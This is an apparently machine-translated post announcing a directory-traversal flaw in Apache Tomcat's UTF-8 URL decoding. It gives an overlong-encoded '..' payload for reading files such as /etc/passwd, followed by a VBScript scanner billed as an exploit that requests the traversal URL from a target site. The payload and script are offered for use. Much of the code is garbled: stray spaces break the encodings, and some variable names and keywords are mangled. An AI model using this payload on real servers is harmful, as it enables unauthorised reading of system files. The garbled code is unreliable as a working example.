Apache Tomcat UTF-8 coding Vulnerability

Hehe, Apache Tomcat has a vulnerability similar to that of the current year's iis url encoding. Now that CVE has been published, let me publish it!

The vulnerability occurs when Apache Tomcat does not properly convert the UTF-8 encoding, resulting in conversion to something similar when processing a URL containing % C0 % AE % C0 % AE .. /to traverse any system file, including

/Etc/passwd

The trigger condition is the 'allowlinking' and 'uriencoding 'options of the configuration file context. xml of Apache Tomcat or server. xml.

 

The vulnerability test code is as follows:

 

Dim strurl, strsite

Showb ()
Set ARGs = wscript. Arguments

If args. Count <> 1 then
Showu ()
Else
Strsite = ARGs (0)
End if

Strurl = "/% C0 % AE % C0 % AE/% C0 % AE % C0 % AE/% C0 % AE % C0 % AE/Foo/Bar"

Set objxml = Createobject ("Microsoft. XMLHTTP ")
Objxml. Open "get", strsite & strurl, false
Objxml. setRequestHeader "Referer", strsite

Objxml. Send ()

If maid. Status = 200 then
Wscript. Echo ("Vulnerability ")

End if

 

Sub showb ()
With wscript
. Echo ("+ -------------------------- =================================------------------------ + ")
. Echo ("exploit Apache Tomcat UTF-8 ")
. Echo ("code by safe3 ")
. Echo ("+ -------------------------- =================================------------------------ + ")
End
End sub
Sub showu ()
With wscript
. Echo ("+ -------------------------- =================================------------------------ + ")
. Echo ("Usage :")
. Echo ("cscript" &. scriptname & "Site ")
. Echo ("Example :")
. Echo ("cscript" &. scriptname & "http://www.example.com> result.txt ")
. Echo ("+ -------------------------- =================================------------------------ + ")
. Quit
End
End sub